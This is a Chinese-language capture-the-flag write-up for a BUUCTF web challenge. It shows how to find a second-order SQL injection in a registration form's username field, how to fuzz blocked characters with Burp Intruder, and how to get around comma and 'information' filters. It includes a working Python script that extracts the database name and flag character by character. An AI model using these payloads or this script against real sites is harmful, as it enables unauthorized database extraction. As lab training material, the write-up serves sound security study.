BUUCTF在线评测这里可以解题无需搭建
进入这题后我们会得到这样一个界面
这里我们会发现登录不进去也没有注册界面以及源码,这里我们需要获取它其他的一些界面找注入机会,这里有两种方式找其他界面,一种是猜这里是登录界面那么必定就会有注册界面一般注册界面的名字无非就是reg.php,register.php这是register.php界面当然这种就是靠运气和我们的经验了。第二种是用扫描器去扫,但是这种方式在比赛里通常是不允许的,
这里我们先随便注册一个用户登录一下
登录进去后我们发现只有用户名是可见的,所以我们尝试在用户名进行注入
这里我们发现注册不了所以可以推断出这里有限制字符所以我们使用burp suite来测出它的限制字符
这里将包发送到intruder中
在username中添加payload的插入点
使用字典来测出限制字符
这里你也可以自己写字典或者从GitHub上找
这里测试出限制了,和information
限制了information和,所以这里我们采用select ’0‘+text+‘0’的语句注入
在mysql中+只是一个运算符所以我们可以用此方式来获取数据库的ascii码值当然这里也可以使用16进制的方式但要注意的一点是如果hex值过长需要进行截断以及如过算出的hex值是字符会被截断因此需要两次16进制转化。
,的问题我们通过from for的方式来替换
然后就可以进行注入了
这里我使用一个python脚本进行注入
import requests
import time
from bs4 import BeautifulSoup # html解析器
# 这是是一个框架,如果你没有下载的话需要下载,是一个爬虫的框架用于精准获取页面的各个数据
# pip install BeautifulSoup(如果你是python3的话则是BeautifulSoup4)# 这里是注入出库名,一般库名都是在10个字节以内如果数据库超过10字节则更改循环的次数
def getDatabase():database = ''# 定义一个变量来记录库名for i in range(10):data_database = {'username': "0'+ascii(substr((select database()) from " + str(i + 1) + " for 1))+'0",# 这里是注入语句'password': 'admin',"email": "admin11@admin.com" + str(i)}# 注册requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_database)# 通过requests.post函数来访问并将data_database的数据放入login_data = {# 这里是登录'password': 'admin',"email": "admin11@admin.com" + str(i)}response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)html = response.text # 返回的页面soup = BeautifulSoup(html, 'html.parser')# 获取界面的各个数据getUsername = soup.find_all('span')[0] # 获取用户名如果界面内有多个span则以更改后面的数字来获取,从0开始username = getUsername.textif int(username) == 0:breakdatabase += chr(int(username))return database# 获取flag
def getFlag():flag = ''for i in range(60):# 这里也是猜测flag的值是在60为以内,如果超了需要更改data_flag = {'username': "0'+ascii(substr((select * from flag) from " + str(i + 1) + " for 1))+'0",'password': 'admin',"email": "admin32@admin.com" + str(i)}# 注册requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_flag)login_data = {'password': 'admin',"email": "admin32@admin.com" + str(i)}response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)html = response.text # 返回的页面soup = BeautifulSoup(html, 'html.parser')getUsername = soup.find_all('span')[0] # 获取用户名username = getUsername.textif int(username) == 0:breakflag += chr(int(username))return flagprint(getDatabase())
print(getFlag())
这里我只注入出了数据库名和flag没有对其他表名进行注入因为会很麻烦其次一般比赛通常也是放着flag中的